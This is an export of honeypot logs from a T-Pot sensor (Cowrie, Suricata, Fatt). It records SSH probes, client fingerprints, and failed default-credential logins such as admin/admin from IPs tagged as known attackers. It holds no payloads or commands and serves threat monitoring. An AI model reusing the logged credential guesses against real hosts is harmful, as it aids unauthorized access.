30957	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:40:47.940114+03	2021-09-20 14:45:03.853143+03	{"_id": "uAYCA3wBvYTbRNuENECy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "6a5e68bbcefc", "@version": "1", "timestamp": "2021-09-20T11:40:47.940114Z", "@timestamp": "2021-09-20T11:40:47.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30958	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:40:49.291258+03	2021-09-20 14:45:03.855142+03	{"_id": "wgYCA3wBvYTbRNuEOkA3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.47.13.1911553109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:40:48.941985+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1910929520353185, "payload": "AAAAVC4eAAAAIOyfFhcRceGWfD85V7FXNZvbF3PS+9I46eOAMJTXCG9yy5BqW1PlB/0Pgurni/dwga4Of1Wfc1Xwb/GOMkyPuDpDiRoEoB1QwzV+Uc/D8w==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50119, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:40:49.291258Z", "@timestamp": "2021-09-20T11:40:49.291Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .....q..|?9W.W5...s...8...0...or..j[S.........p....U.sU.o..2L..:C.....P.5~Q..."}}	1	\N	\N	alert	\N	\N
30959	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:49.120573+03	2021-09-20 14:45:03.856141+03	{"_id": "wwYCA3wBvYTbRNuEO0BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.20.123.149", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50119, "timestamp": "2021-09-20T11:40:49.120573", "@timestamp": "2021-09-20T11:40:49.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30960	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:40:49.913484+03	2021-09-20 14:45:03.858144+03	{"_id": "xwYCA3wBvYTbRNuEPECE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6a5e68bbcefc", "@version": "1", "duration": 2.3264694213867188, "timestamp": "2021-09-20T11:40:49.913484Z", "@timestamp": "2021-09-20T11:40:49.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30961	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:49.115181+03	2021-09-20 14:45:03.859144+03	{"_id": "vQYCA3wBvYTbRNuEOECd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.20.123.149:50119 (192.168.176.2:22) [session: 762e7e7791a9]", "session": "762e7e7791a9", "@version": "1", "protocol": "ssh", "src_port": 50119, "dest_port": 22, "timestamp": "2021-09-20T11:40:49.115181Z", "@timestamp": "2021-09-20T11:40:49.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30962	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:40:48.734949+03	2021-09-20 14:45:03.860144+03	{"_id": "vgYCA3wBvYTbRNuEOECd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [york/york] failed", "session": "6a5e68bbcefc", "@version": "1", "password": "york", "username": "york", "timestamp": "2021-09-20T11:40:48.734949Z", "@timestamp": "2021-09-20T11:40:48.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30963	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:49.118404+03	2021-09-20 14:45:03.861143+03	{"_id": "vwYCA3wBvYTbRNuEOECd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.47.13.1911553109.199.241.180'", "session": "762e7e7791a9", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.47.13.1911553109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:40:49.118404Z", "@timestamp": "2021-09-20T11:40:49.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30970	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:40:36.805536+03	2021-09-20 14:45:03.871142+03	{"_id": "kwYCA3wBvYTbRNuEB0Bo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 549549440808022, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59168, "dest_port": 22, "timestamp": "2021-09-20T11:40:36.805536Z", "@timestamp": "2021-09-20T11:40:36.805Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30964	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:49.29197+03	2021-09-20 14:45:03.862143+03	{"_id": "wAYCA3wBvYTbRNuEOECd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "762e7e7791a9", "@version": "1", "timestamp": "2021-09-20T11:40:49.291970Z", "@timestamp": "2021-09-20T11:40:49.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
30965	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:40:49.29116+03	2021-09-20 14:45:03.864144+03	{"_id": "wQYCA3wBvYTbRNuEOkA3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.47.13.1911553109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "flow_id": 1910929520353185, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50119, "dest_port": 22, "timestamp": "2021-09-20T11:40:49.291160Z", "@timestamp": "2021-09-20T11:40:49.291Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30966	8.20.123.149	109.199.241.180	Fatt	2021-09-20 14:40:49.29116+03	2021-09-20 14:45:03.865144+03	{"_id": "xAYCA3wBvYTbRNuEO0BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.47.13.1911553109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 50119, "dest_port": 22, "timestamp": "2021-09-20T11:40:49.291160", "@timestamp": "2021-09-20T11:40:49.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30967	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:49.66684+03	2021-09-20 14:45:03.867141+03	{"_id": "xgYCA3wBvYTbRNuEPECE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "762e7e7791a9", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:40:49.666840Z", "@timestamp": "2021-09-20T11:40:49.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30968	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:40:36.52359+03	2021-09-20 14:45:03.868141+03	{"_id": "kQYCA3wBvYTbRNuEBUDM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:59168 (192.168.176.2:22) [session: 1506f817f85b]", "session": "1506f817f85b", "@version": "1", "protocol": "ssh", "src_port": 59168, "dest_port": 22, "timestamp": "2021-09-20T11:40:36.523590Z", "@timestamp": "2021-09-20T11:40:36.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30969	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:40:36.526605+03	2021-09-20 14:45:03.870142+03	{"_id": "kgYCA3wBvYTbRNuEBUDM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1506f817f85b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:40:36.526605Z", "@timestamp": "2021-09-20T11:40:36.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30971	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:40:36.810978+03	2021-09-20 14:45:03.872142+03	{"_id": "lgYCA3wBvYTbRNuECEB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59168, "dest_port": 22, "timestamp": "2021-09-20T11:40:36.810978", "@timestamp": "2021-09-20T11:40:36.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30972	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:40:36.811603+03	2021-09-20 14:45:03.874143+03	{"_id": "lwYCA3wBvYTbRNuECUC0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1506f817f85b", "@version": "1", "timestamp": "2021-09-20T11:40:36.811603Z", "@timestamp": "2021-09-20T11:40:36.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
